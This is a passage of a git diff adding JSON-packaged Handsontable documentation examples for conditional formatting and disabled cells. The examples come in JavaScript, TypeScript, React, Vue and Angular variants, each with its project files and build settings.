formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/conditional-formatting","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__conditional-formatting__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__conditional-formatting__javascript__example1.ts.json new file mode 100644 index 00000000..64bab629 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__conditional-formatting__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Features ▸ Conditional formatting · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { BaseRenderer, registerRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst data: (string | number)[][] = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda'],\n ['2017', -5, '', 12, 13],\n ['2018', '', -11, 14, 13],\n ['2019', '', 15, -12, 'readOnly'],\n];\n\nconst firstRowRenderer: BaseRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n td.style.fontWeight = 'bold';\n td.style.color = 'green';\n td.style.background = '#CEC';\n};\n\nconst negativeValueRenderer: BaseRenderer = (instance, td, row, col, prop, value, cellProperties) => {\n textRenderer(instance, td, row, col, prop, value, cellProperties);\n\n // if the row contains a negative number\n if (parseInt(value, 10) < 0) {\n // add class 'make-me-red'\n td.className = 'make-me-red';\n }\n\n if (!value || value === '') {\n td.style.background = 'rgb(238, 238, 238, 0.4)';\n } else {\n if (instance.getDataAtCell(0, col) === 'Nissan') {\n td.style.fontStyle = 'italic';\n }\n\n td.style.background = '';\n }\n};\n\n// maps function to a lookup string\nregisterRenderer('negativeValueRenderer', negativeValueRenderer);\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data,\n licenseKey: 'non-commercial-and-evaluation',\n height: 'auto',\n afterSelection(_row, _col, row2, col2) {\n const meta = (this as unknown as Handsontable.Core).getCellMeta(row2, col2);\n\n if (meta.readOnly) {\n (this as unknown as Handsontable.Core).updateSettings({\n fillHandle: false,\n });\n } else {\n (this as unknown as Handsontable.Core).updateSettings({\n fillHandle: true,\n });\n }\n },\n cells(row, col) {\n const cellProperties: Handsontable.CellMeta = {};\n const data = this.instance.getData();\n\n if (row === 0 || (data[row] && data[row][col] === 'readOnly')) {\n cellProperties.readOnly = true; // make cell read-only if it is first row or the text reads 'readOnly'\n }\n\n if (row === 0) {\n cellProperties.renderer = firstRowRenderer; // uses function directly\n } else {\n cellProperties.renderer = 'negativeValueRenderer'; // uses lookup map\n }\n\n return cellProperties;\n },\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":".make-me-red {\n color: #FF5A12 !important;\n}"},"docsPath":"guides/cell-features/conditional-formatting/javascript/example1.ts","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/conditional-formatting","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__conditional-formatting__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__conditional-formatting__react__example1.tsx.json new file mode 100644 index 00000000..df6bd7df --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__conditional-formatting__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Conditional formatting · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport \"./styles.css\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { BaseRenderer, registerRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const data = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda'],\n ['2017', -5, '', 12, 13],\n ['2018', '', -11, 14, 13],\n ['2019', '', 15, -12, 'readOnly'],\n ];\n\n const firstRowRenderer: BaseRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n td.style.fontWeight = 'bold';\n td.style.color = 'green';\n td.style.background = '#CEC';\n };\n\n const negativeValueRenderer: BaseRenderer = (instance, td, row, col, prop, value, cellProperties) => {\n textRenderer(instance, td, row, col, prop, value, cellProperties);\n\n // if the row contains a negative number\n if (parseInt(value, 10) < 0) {\n // add class 'make-me-red'\n td.className = 'make-me-red';\n }\n\n if (!value || value === '') {\n td.style.background = 'rgb(238, 238, 238, 0.4)';\n } else {\n if (instance.getDataAtCell(0, col) === 'Nissan') {\n td.style.fontStyle = 'italic';\n }\n\n td.style.background = '';\n }\n };\n\n // maps function to a lookup string\n registerRenderer('negativeValueRenderer', negativeValueRenderer);\n\n return (\n \n );\n};\n\nexport default ExampleComponent;","/src/styles.css":".make-me-red {\n color: #FF5A12 !important;\n}"},"docsPath":"guides/cell-features/conditional-formatting/react/example1.tsx","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/conditional-formatting","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__conditional-formatting__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__conditional-formatting__vue__example1.vue.json new file mode 100644 index 00000000..1a1f15d0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__conditional-formatting__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Conditional formatting · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n\n\n"},"docsPath":"guides/cell-features/conditional-formatting/vue/example1.vue","breadcrumb":["Cell Features","Conditional formatting"],"guide":"guides/cell-features/conditional-formatting/conditional-formatting.md","guideTitle":"Conditional formatting","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/conditional-formatting","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__angular__example1.ts.json new file mode 100644 index 00000000..48528309 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Disabled cells · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example1-disabled-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `
\n \n
`,\n})\nexport class AppComponent {\n\n readonly data = [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {\n data: 'car',\n readOnly: true,\n },\n {\n data: 'year',\n },\n {\n data: 'chassis',\n },\n {\n data: 'bumper',\n },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/disabled-cells/angular/example1.ts","breadcrumb":["Cell Features","Disabled cells"],"guide":"guides/cell-features/disabled-cells/disabled-cells.md","guideTitle":"Disabled cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/disabled-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__angular__example2.ts.json new file mode 100644 index 00000000..fa5802f3 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Disabled cells · To disable a row · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { AfterViewInit, Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example2-disabled-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `
\n \n
`,\n})\nexport class AppComponent implements AfterViewInit {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n readonly data = [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ];\n\n readonly gridSettings: GridSettings ={\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n autoWrapRow: true,\n autoWrapCol: true\n };\n\n ngAfterViewInit(): void {\n const hot = this.hotTable?.hotInstance;\n\n hot?.updateSettings({\n cells: (row: number, col: number, _: any) => {\n if (hot.getData()[row][col] === 'Nissan') {\n return { readOnly: true };\n }\n\n return {};\n },\n });\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/disabled-cells/angular/example2.ts","breadcrumb":["Cell Features","Disabled cells"],"guide":"guides/cell-features/disabled-cells/disabled-cells.md","guideTitle":"Disabled cells","exampleId":"example2","exampleTitle":"To disable a row","docPermalink":"/disabled-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__angular__example3.ts.json new file mode 100644 index 00000000..99af9799 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Disabled cells · To disable a column (non-editable) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example3-disabled-cells',\n standalone: true,\n imports: [HotTableModule],\n template: `
\n \n
`,\n})\nexport class AppComponent {\n\n readonly data = [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {\n data: 'car',\n editor: false,\n },\n {\n data: 'year',\n editor: 'numeric',\n },\n {\n data: 'chassis',\n editor: 'text',\n },\n {\n data: 'bumper',\n editor: 'text',\n },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/disabled-cells/angular/example3.ts","breadcrumb":["Cell Features","Disabled cells"],"guide":"guides/cell-features/disabled-cells/disabled-cells.md","guideTitle":"Disabled cells","exampleId":"example3","exampleTitle":"To disable a column (non-editable)","docPermalink":"/disabled-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__angular__example4.ts.json new file mode 100644 index 00000000..0e8a050f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-features__disabled-cells__angular__example4.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Disabled cells · To disable a cell (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": 